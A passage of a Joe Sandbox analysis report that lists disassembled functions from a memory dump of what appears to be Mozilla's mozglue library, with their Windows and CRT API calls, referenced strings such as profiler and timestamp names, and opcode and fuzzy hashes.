AcquireSRWLockExclusive.KERNEL32(?), ref: 6C9BD4FC
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C9BD52A
GetCurrentThreadId.KERNEL32 ref: 6C9BD530
AcquireSRWLockExclusive.KERNEL32(?), ref: 6C9BD53F
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C9BD55F
free.MOZGLUE(00000000), ref: 6C9BD585
?_Xbad_function_call@std@@YAXXZ.MSVCP140 ref: 6C9BD5D3
GetCurrentThreadId.KERNEL32 ref: 6C9BD5F9
AcquireSRWLockExclusive.KERNEL32(?), ref: 6C9BD605
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C9BD652
GetCurrentThreadId.KERNEL32 ref: 6C9BD658
AcquireSRWLockExclusive.KERNEL32(?), ref: 6C9BD667
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C9BD6A2

Memory Dump Source

Source File: 00000000.00000002.2800585334.000000006C961000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C960000, based on PE: true

Associated: 00000000.00000002.2800553760.000000006C960000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2800681911.000000006C9DD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2800717942.000000006C9EE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2800752274.000000006C9F2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c960000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThread$Xbad_function_call@std@@free
String ID:
API String ID: 2206442479-0
Opcode ID: 8fb249824e4b1d4000872a42ce00c5d07e8dd008cf88d398f413ca673ff964e5
Instruction ID: c3521bf70c0c94e7546c3f9452d5556b8e5111a4fabb0f5b5d80f5f72a0a40b2
Opcode Fuzzy Hash: 8fb249824e4b1d4000872a42ce00c5d07e8dd008cf88d398f413ca673ff964e5
Instruction Fuzzy Hash: 5F517CB1608705EFC744CF24C884A9ABBB4FF99318F108A2EE95A97710DB30E945CB95

Function 6C985670 Relevance: 19.5, APIs: 10, Strings: 1, Instructions: 272timeCOMMON

Download Yara Rule

APIs

getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_APP_RESTART), ref: 6C9856D1
?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6C9856E9
?ComputeProcessUptime@TimeStamp@mozilla@@CA_KXZ.MOZGLUE ref: 6C9856F1
?TicksFromMilliseconds@BaseTimeDurationPlatformUtils@mozilla@@SA_JN@Z.MOZGLUE ref: 6C985744
??0TimeStampValue@mozilla@@AAE@_K0_N@Z.MOZGLUE(?,?,?,?,?), ref: 6C9857BC
GetTickCount64.KERNEL32 ref: 6C9858CB
EnterCriticalSection.KERNEL32(6C9EF688), ref: 6C9858F3
__aulldiv.LIBCMT ref: 6C985945
LeaveCriticalSection.KERNEL32(6C9EF688), ref: 6C9859B2
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(6C9EF638,?,?,?,?), ref: 6C9859E9

Strings

MOZ_APP_RESTART, xrefs: 6C9856CC

Memory Dump Source

Source File: 00000000.00000002.2800585334.000000006C961000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C960000, based on PE: true

Associated: 00000000.00000002.2800553760.000000006C960000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2800681911.000000006C9DD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2800717942.000000006C9EE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2800752274.000000006C9F2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c960000_file.jbxd

Similarity

API ID: Time$CriticalSectionStampStamp@mozilla@@Value@mozilla@@$BaseComputeCount64DurationEnterFromLeaveMilliseconds@Now@PlatformProcessTickTicksUptime@Utils@mozilla@@V01@@V12@___aulldivgetenv
String ID: MOZ_APP_RESTART
API String ID: 2752551254-2657566371
Opcode ID: 899c853e5123a08aebf0c67880c3180985302c8ee46f2ef989894c4a8376781c
Instruction ID: 449a1b0476c262edf3ca089555b98177e46039515e7b13ac1a5f797acb962291
Opcode Fuzzy Hash: 899c853e5123a08aebf0c67880c3180985302c8ee46f2ef989894c4a8376781c
Instruction Fuzzy Hash: D8C17D31A0D7449FDB05CF28C44066ABBF1BFEA718F158A1EE4C597660D731E989CB82

Function 6C9AEC70 Relevance: 19.3, APIs: 10, Strings: 1, Instructions: 81threadsynchronizationCOMMON

Download Yara Rule

APIs

Part of subcall function 6C9A9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C974A68), ref: 6C9A945E
Part of subcall function 6C9A9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C9A9470
Part of subcall function 6C9A9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C9A9482
Part of subcall function 6C9A9420: __Init_thread_footer.LIBCMT ref: 6C9A949F

GetCurrentThreadId.KERNEL32 ref: 6C9AEC84
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C9AEC8C

Part of subcall function 6C9A94D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6C9A94EE
Part of subcall function 6C9A94D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6C9A9508

GetCurrentThreadId.KERNEL32 ref: 6C9AECA1
AcquireSRWLockExclusive.KERNEL32(6C9EF4B8), ref: 6C9AECAE
?profiler_init@baseprofiler@mozilla@@YAXPAX@Z.MOZGLUE(00000000), ref: 6C9AECC5
ReleaseSRWLockExclusive.KERNEL32(6C9EF4B8), ref: 6C9AED0A
WaitForSingleObject.KERNEL32(?,000000FF), ref: 6C9AED19
CloseHandle.KERNEL32(?), ref: 6C9AED28
free.MOZGLUE(00000000), ref: 6C9AED2F
ReleaseSRWLockExclusive.KERNEL32(6C9EF4B8), ref: 6C9AED59

Strings

[I %d/%d] profiler_ensure_started, xrefs: 6C9AEC94

Memory Dump Source

Source File: 00000000.00000002.2800585334.000000006C961000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C960000, based on PE: true

Associated: 00000000.00000002.2800553760.000000006C960000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2800681911.000000006C9DD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2800717942.000000006C9EE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2800752274.000000006C9F2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c960000_file.jbxd

Similarity

API ID: ExclusiveLockgetenv$CurrentReleaseThread$?profiler_init@baseprofiler@mozilla@@AcquireCloseHandleInit_thread_footerObjectSingleWait__acrt_iob_func__stdio_common_vfprintf_getpidfree
String ID: [I %d/%d] profiler_ensure_started
API String ID: 4057186437-125001283
Opcode ID: ad865863c9eda9a940bec9c7d8e5785f3eab991f7228970c1da69dfa7c3c9797
Instruction ID: 5e2f8ba139f362027db7b16d5f1632f917833f1c0c1bca37fb7e0fd52d427734
Opcode Fuzzy Hash: ad865863c9eda9a940bec9c7d8e5785f3eab991f7228970c1da69dfa7c3c9797
Instruction Fuzzy Hash: AB21FC75504204AFDB419FA4D808B9A3779FFB936CF204215FD1857741E731D8268BE5

Function 6C9A8ED0 Relevance: 17.8, APIs: 1, Strings: 9, Instructions: 311COMMON

Download Yara Rule

APIs

Part of subcall function 6C96EB30: free.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C96EB83

?FormatToStringSpan@MarkerSchema@mozilla@@CA?AV?$Span@$$CBD$0PPPPPPPP@@2@W4Format@12@@Z.MOZGLUE(?,?,00000004,?,?,?,?,?,?,6C9AB392,?,?,00000001), ref: 6C9A91F4

Part of subcall function 6C99CBE8: GetCurrentProcess.KERNEL32(?,6C9631A7), ref: 6C99CBF1
Part of subcall function 6C99CBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6C9631A7), ref: 6C99CBFA

Strings

timeline-fileio, xrefs: 6C9A90A4
marker-table, xrefs: 6C9A906C
stack-chart, xrefs: 6C9A90B2
timeline-overview, xrefs: 6C9A907A
data, xrefs: 6C9A90E8
timeline-memory, xrefs: 6C9A9088
timeline-ipc, xrefs: 6C9A9096
marker-chart, xrefs: 6C9A905E
name, xrefs: 6C9A8F16

Memory Dump Source

Source File: 00000000.00000002.2800585334.000000006C961000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C960000, based on PE: true

Associated: 00000000.00000002.2800553760.000000006C960000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2800681911.000000006C9DD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2800717942.000000006C9EE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2800752274.000000006C9F2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c960000_file.jbxd

Similarity

API ID: Process$CurrentFormatFormat@12@@MarkerP@@2@Schema@mozilla@@Span@Span@$$StringTerminatefree
String ID: data$marker-chart$marker-table$name$stack-chart$timeline-fileio$timeline-ipc$timeline-memory$timeline-overview
API String ID: 3790164461-3347204862
Opcode ID: 3587db270f334bd0c9122e8662dc41922eadee169e25f3322c6553d6f581a181
Instruction ID: 1330020ea90a97ffd45ac92c3004f77723f81017e84c7f2b361751c87759220c
Opcode Fuzzy Hash: 3587db270f334bd0c9122e8662dc41922eadee169e25f3322c6553d6f581a181
Instruction Fuzzy Hash: E2B1D6B1A016099BDB04CFA5C8557EEBBB5FFA9308F214019D502ABF80D731E956CBE1

Function 6C98C570 Relevance: 17.8, APIs: 8, Strings: 2, Instructions: 277stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0 ref: 6C98C5A3
WideCharToMultiByte.KERNEL32 ref: 6C98C9EA
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000000), ref: 6C98C9FB
WideCharToMultiByte.KERNEL32(00000000,00000000,?,000000FF,00000000,00000000,00000000,00000000), ref: 6C98CA12
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C98CA2E
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C98CAA5

Strings

0, xrefs: 6C98D30A
(null), xrefs: 6C98C596

Memory Dump Source

Source File: 00000000.00000002.2800585334.000000006C961000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C960000, based on PE: true

Associated: 00000000.00000002.2800553760.000000006C960000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2800681911.000000006C9DD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2800717942.000000006C9EE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2800752274.000000006C9F2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c960000_file.jbxd

Similarity

API ID: ByteCharMultiWidestrlen$freemalloc
String ID: (null)$0
API String ID: 4074790623-38302674
Opcode ID: bd4f9a1abab8c956e2669e0b8e4dc52d9583475375fafa0ffc0005534789fd81
Instruction ID: 4d3f8cc7a15a501c7e9e2f23ae72ba8ba381af41f81348bcc3c58c195457fac3
Opcode Fuzzy Hash: bd4f9a1abab8c956e2669e0b8e4dc52d9583475375fafa0ffc0005534789fd81
Instruction Fuzzy Hash: 5EA1AD3160A3429FDB00DF28C984B5ABBF5AF89748F148E2DE999D7741D735E805CB82

Function 6C98C769 Relevance: 17.7, APIs: 6, Strings: 4, Instructions: 159COMMON

Download Yara Rule

APIs

islower.API-MS-WIN-CRT-STRING-L1-1-0 ref: 6C98C784
_dsign.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C98C801
_dtest.API-MS-WIN-CRT-MATH-L1-1-0(?), ref: 6C98C83D
?ToPrecision@DoubleToStringConverter@double_conversion@@QBE_NNHPAVStringBuilder@2@@Z.MOZGLUE ref: 6C98C891

Strings

NAN, xrefs: 6C98C7AD
nan, xrefs: 6C98C7A8
inf, xrefs: 6C98C78F
INF, xrefs: 6C98C794

Memory Dump Source

Source File: 00000000.00000002.2800585334.000000006C961000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C960000, based on PE: true

Associated: 00000000.00000002.2800553760.000000006C960000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2800681911.000000006C9DD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2800717942.000000006C9EE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2800752274.000000006C9F2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c960000_file.jbxd

Similarity

API ID: String$Builder@2@@Converter@double_conversion@@DoublePrecision@_dsign_dtestislower
String ID: INF$NAN$inf$nan
API String ID: 1991403756-4166689840
Opcode ID: 7eb72e2d7bc6875c961db0aba4d3dff7602a9f65ece7454d1b48b9513da6731c
Instruction ID: c7010a11a432cb8ecf2475fe7b871d1353d5c18ef2c8b2421e8c52977ba24628
Opcode Fuzzy Hash: 7eb72e2d7bc6875c961db0aba4d3dff7602a9f65ece7454d1b48b9513da6731c
Instruction Fuzzy Hash: CA5180719097808BDB00AF2CC48169AFBF4BF9A308F408E2DF9D5A7651E770D985CB42

Function 6C964480 Relevance: 16.8, APIs: 11, Instructions: 316COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(B60B60B8,?,?,?,?,6C9A4843,?), ref: 6C9645F5
free.MOZGLUE(?,?,?,?,?,?,?,?,6C9A4843,?), ref: 6C96468A
free.MOZGLUE(?,?,?,?,?,?,6C9A4843,?), ref: 6C9646C9
free.MOZGLUE(?), ref: 6C9646EF
free.MOZGLUE(?), ref: 6C964712
free.MOZGLUE(?), ref: 6C964735
free.MOZGLUE(?), ref: 6C964758
free.MOZGLUE(?), ref: 6C96477B
free.MOZGLUE(?), ref: 6C96479E

Memory Dump Source

Source File: 00000000.00000002.2800585334.000000006C961000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C960000, based on PE: true

Associated: 00000000.00000002.2800553760.000000006C960000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2800681911.000000006C9DD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2800717942.000000006C9EE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2800752274.000000006C9F2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c960000_file.jbxd

Similarity

API ID: free$moz_xmalloc
String ID:
API String ID: 3009372454-0
Opcode ID: b6f3e0b0c45f9f0254acbc676f9d6549eb6aae1470928b922c35e8f337be6040
Instruction ID: ef78ca1a2be99e36d69b1726d17566af4f7797fedd113f85631795d7642216ed
Opcode Fuzzy Hash: b6f3e0b0c45f9f0254acbc676f9d6549eb6aae1470928b922c35e8f337be6040
Instruction Fuzzy Hash: 77B1E071A001118FEB18DEAECCB076D76A6AF52328F184669E816DBFD6D730D8448F91

Function 6C9CAC20 Relevance: 16.6, APIs: 11, Instructions: 92fileCOMMON

Download Yara Rule

APIs

CreateFileW.KERNEL32 ref: 6C9CAC52
CreateFileMappingW.KERNEL32 ref: 6C9CAC7D
GetSystemInfo.KERNEL32 ref: 6C9CAC98
MapViewOfFile.KERNEL32 ref: 6C9CACB0
GetSystemInfo.KERNEL32 ref: 6C9CACCD
MapViewOfFile.KERNEL32 ref: 6C9CAD05
UnmapViewOfFile.KERNEL32 ref: 6C9CAD1C
CloseHandle.KERNEL32 ref: 6C9CAD28
UnmapViewOfFile.KERNEL32 ref: 6C9CAD37
CloseHandle.KERNEL32 ref: 6C9CAD43
CloseHandle.KERNEL32 ref: 6C9CAD67

Memory Dump Source

Source File: 00000000.00000002.2800585334.000000006C961000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C960000, based on PE: true

Associated: 00000000.00000002.2800553760.000000006C960000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2800681911.000000006C9DD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2800717942.000000006C9EE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2800752274.000000006C9F2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c960000_file.jbxd

Similarity

API ID: File$View$CloseHandle$CreateInfoSystemUnmap$Mapping
String ID:
API String ID: 1192971331-0
Opcode ID: aeab245ff0520d0c25bef27baad138159b5e902f0a2f974ec9e1e2baf72d5775
Instruction ID: 4b684cd9fbbc8652758ac8e89f29857e4206b5016d9143b5e58397c321739914
Opcode Fuzzy Hash: aeab245ff0520d0c25bef27baad138159b5e902f0a2f974ec9e1e2baf72d5775
Instruction Fuzzy Hash: 143160B1A08744CFDB40EF78D64826EBBF0BF99305F11492DE98597211EB709498CB83

Function 6C979620 Relevance: 15.9, APIs: 6, Strings: 3, Instructions: 103libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(Api-ms-win-core-memory-l1-1-5.dll), ref: 6C979675
__Init_thread_footer.LIBCMT ref: 6C979697
LoadLibraryW.KERNEL32(ntdll.dll), ref: 6C9796E8
GetProcAddress.KERNEL32(00000000,NtMapViewOfSection), ref: 6C979707
__Init_thread_footer.LIBCMT ref: 6C97971F
SetLastError.KERNEL32(00000000,?,?,00000002,?,?), ref: 6C979773

Part of subcall function 6C99AB89: EnterCriticalSection.KERNEL32(6C9EE370,?,?,?,6C9634DE,6C9EF6CC,?,?,?,?,?,?,?,6C963284), ref: 6C99AB94
Part of subcall function 6C99AB89: LeaveCriticalSection.KERNEL32(6C9EE370,?,6C9634DE,6C9EF6CC,?,?,?,?,?,?,?,6C963284,?,?,6C9856F6), ref: 6C99ABD1

GetProcAddress.KERNEL32(00000000,MapViewOfFileNuma2), ref: 6C9797B7
FreeLibrary.KERNEL32 ref: 6C9797D0
FreeLibrary.KERNEL32 ref: 6C9797EB
SetLastError.KERNEL32(00000000,?,?,00000002,?,?), ref: 6C979824

Strings

ntdll.dll, xrefs: 6C9796E3
NtMapViewOfSection, xrefs: 6C979701
MapViewOfFileNuma2, xrefs: 6C9797B1
Api-ms-win-core-memory-l1-1-5.dll, xrefs: 6C979670

Memory Dump Source

Source File: 00000000.00000002.2800585334.000000006C961000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C960000, based on PE: true

Associated: 00000000.00000002.2800553760.000000006C960000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2800681911.000000006C9DD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2800717942.000000006C9EE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2800752274.000000006C9F2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c960000_file.jbxd

Similarity

API ID: Library$AddressCriticalErrorFreeInit_thread_footerLastLoadProcSection$EnterLeave
String ID: Api-ms-win-core-memory-l1-1-5.dll$MapViewOfFileNuma2$NtMapViewOfSection$ntdll.dll
API String ID: 409848716-3880535382
Opcode ID: 98fc70c33c622012ef72bd9233435f8807c6818598198a588f2c0f14928c3702
Instruction ID: 7e8fdfc8ad5144517c21ce8df4b63a26a1bcd6f2cd03ec9c488c05dc062ef457
Opcode Fuzzy Hash: 98fc70c33c622012ef72bd9233435f8807c6818598198a588f2c0f14928c3702
Instruction Fuzzy Hash: 5D41D371705205DBDF10CFA6E885A9677B4FFAEB28F21452AED1587B40D731E804CBA1

Function 6C961E90 Relevance: 15.1, APIs: 9, Strings: 1, Instructions: 120COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6C9EE784), ref: 6C961EC1
LeaveCriticalSection.KERNEL32(6C9EE784), ref: 6C961EE1
EnterCriticalSection.KERNEL32(6C9EE744), ref: 6C961F38
LeaveCriticalSection.KERNEL32(6C9EE744), ref: 6C961F5C
VirtualFree.KERNEL32(?,00100000,00004000), ref: 6C961F83
LeaveCriticalSection.KERNEL32(6C9EE784), ref: 6C961FC0
EnterCriticalSection.KERNEL32(6C9EE784), ref: 6C961FE2
LeaveCriticalSection.KERNEL32(6C9EE784), ref: 6C961FF6
memset.VCRUNTIME140(00000000,00000000,?), ref: 6C962019

Strings

MOZ_CRASH(), xrefs: 6C962000

Memory Dump Source

Source File: 00000000.00000002.2800585334.000000006C961000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C960000, based on PE: true

Associated: 00000000.00000002.2800553760.000000006C960000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2800681911.000000006C9DD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2800717942.000000006C9EE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2800752274.000000006C9F2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c960000_file.jbxd

Similarity

API ID: CriticalSection$Leave$Enter$FreeVirtualmemset
String ID: MOZ_CRASH()
API String ID: 2055633661-2608361144
Opcode ID: 2d495351624decf2593bee35b9a459aeddf51a7ec0c2cace7f58f77aded56519
Instruction ID: f2ba052cf7492c0464a59c082c8487f3e70b98e54af125d4dc2e61d60cbfbf54
Opcode Fuzzy Hash: 2d495351624decf2593bee35b9a459aeddf51a7ec0c2cace7f58f77aded56519
Instruction Fuzzy Hash: 4941F471B0531A8FEF518F6AC884B6A36B5EF6E708F140029F90597B85DB72D8048BD5

Function 6C9B0000 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 127threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6C9A9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C974A68), ref: 6C9A945E
Part of subcall function 6C9A9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C9A9470
Part of subcall function 6C9A9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C9A9482
Part of subcall function 6C9A9420: __Init_thread_footer.LIBCMT ref: 6C9A949F

GetCurrentThreadId.KERNEL32 ref: 6C9B0039
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C9B0041
GetCurrentThreadId.KERNEL32 ref: 6C9B0075
AcquireSRWLockExclusive.KERNEL32(6C9EF4B8), ref: 6C9B0082
moz_xmalloc.MOZGLUE(00000048), ref: 6C9B0090
free.MOZGLUE(?), ref: 6C9B0104
ReleaseSRWLockExclusive.KERNEL32(6C9EF4B8), ref: 6C9B011B

Strings

[D %d/%d] profiler_register_page(%llu, %llu, %s, %llu), xrefs: 6C9B005B

Memory Dump Source

Source File: 00000000.00000002.2800585334.000000006C961000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C960000, based on PE: true

Associated: 00000000.00000002.2800553760.000000006C960000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2800681911.000000006C9DD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2800717942.000000006C9EE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2800752274.000000006C9F2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c960000_file.jbxd

Similarity

API ID: getenv$CurrentExclusiveLockThread$AcquireInit_thread_footerRelease_getpidfreemoz_xmalloc
String ID: [D %d/%d] profiler_register_page(%llu, %llu, %s, %llu)
API String ID: 3012294017-637075127
Opcode ID: 97c9f2ec53b020f6942af883f80b1dcf4d860338ac7e3980faf377adf933e758
Instruction ID: 83b4b0540abaf1bb62a3b2058e3ef1be286db73bf313fde8a62dc9c725deecab
Opcode Fuzzy Hash: 97c9f2ec53b020f6942af883f80b1dcf4d860338ac7e3980faf377adf933e758
Instruction Fuzzy Hash: 08419AB1504344EFCB50CF64D844A9BBBF4FF69218F10491EE95A93B40E731E915CBA1

Function 6C977E90 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 116stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C977EA7
malloc.MOZGLUE(00000001), ref: 6C977EB3

Part of subcall function 6C97CAB0: EnterCriticalSection.KERNEL32(?), ref: 6C97CB49
Part of subcall function 6C97CAB0: LeaveCriticalSection.KERNEL32(?), ref: 6C97CBB6

strncpy.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,00000000), ref: 6C977EC4
mozalloc_abort.MOZGLUE(?), ref: 6C977F19
malloc.MOZGLUE(?), ref: 6C977F36
memcpy.VCRUNTIME140(00000000,?,?), ref: 6C977F4D

Strings

d, xrefs: 6C977F89

Memory Dump Source

Source File: 00000000.00000002.2800585334.000000006C961000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C960000, based on PE: true

Associated: 00000000.00000002.2800553760.000000006C960000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2800681911.000000006C9DD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2800717942.000000006C9EE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2800752274.000000006C9F2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c960000_file.jbxd

Similarity

API ID: CriticalSectionmalloc$EnterLeavememcpymozalloc_abortstrlenstrncpy
String ID: d
API String ID: 204725295-2564639436
Opcode ID: 3fb1e5cc49dcc8dca1e46f7913232e9ae6d7162592cb6cbe13af23b745bdbef5
Instruction ID: 69a7468ac97b922f51e652ed1b7a15066488a7417b186f7dc6e22aaa526188eb
Opcode Fuzzy Hash: 3fb1e5cc49dcc8dca1e46f7913232e9ae6d7162592cb6cbe13af23b745bdbef5
Instruction Fuzzy Hash: 5431E962E04688D7DB019B68CC045FEB778EFA6208F155629DD4567712FB30E5C8C7A0

Function 6C973E80 Relevance: 13.7, APIs: 9, Instructions: 246memoryCOMMON

Download Yara Rule

APIs

RtlAllocateHeap.NTDLL(?,00000000,?), ref: 6C973EEE
RtlFreeHeap.NTDLL ref: 6C973FDC
RtlAllocateHeap.NTDLL(?,00000000,00000040), ref: 6C974006
RtlFreeHeap.NTDLL ref: 6C9740A1
RtlFreeUnicodeString.NTDLL(?,?,00000000,?,?,00000000,?,?,?,?,?,?,6C973CCC), ref: 6C9740AF
RtlFreeUnicodeString.NTDLL(?,?,00000000,?,?,00000000,?,?,?,?,?,?,6C973CCC), ref: 6C9740C2
RtlFreeHeap.NTDLL ref: 6C974134
RtlFreeUnicodeString.NTDLL(?,?,00000000,?,?,?,?,?,?,6C973CCC), ref: 6C974143
RtlFreeUnicodeString.NTDLL(?,?,?,00000000,?,?,?,?,?,?,6C973CCC), ref: 6C974157

Memory Dump Source

Source File: 00000000.00000002.2800585334.000000006C961000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C960000, based on PE: true

Associated: 00000000.00000002.2800553760.000000006C960000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2800681911.000000006C9DD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2800717942.000000006C9EE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2800752274.000000006C9F2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c960000_file.jbxd

Similarity

API ID: Free$Heap$StringUnicode$Allocate
String ID:
API String ID: 3680524765-0
Opcode ID: b13ab191b94d3bc336a0173e00329c51f753acdad4a2e35824d3aa2c58c5bb22
Instruction ID: 154d79d16b68656d1e0cffe2cefc1c33a0585978868b3b81a8efc5d96e57a80d
Opcode Fuzzy Hash: b13ab191b94d3bc336a0173e00329c51f753acdad4a2e35824d3aa2c58c5bb22
Instruction Fuzzy Hash: A9A18FB1A01215CFEB50CF68C880769B7B5FF58308F2541A9D909AF742D771E996CFA0

Function 6C962030 Relevance: 13.7, APIs: 7, Strings: 2, Instructions: 204memoryCOMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(00000000,?,6C983F47,?,?,?,6C983F47,6C981A70,?), ref: 6C96207F
memset.VCRUNTIME140(?,000000E5,6C983F47,?,6C983F47,6C981A70,?), ref: 6C9620DD
VirtualFree.KERNEL32(00100000,00100000,00004000,?,6C983F47,6C981A70,?), ref: 6C96211A
EnterCriticalSection.KERNEL32(6C9EE744,?,6C983F47,6C981A70,?), ref: 6C962145
VirtualAlloc.KERNEL32(?,00100000,00001000,00000004,?,6C983F47,6C981A70,?), ref: 6C9621BA
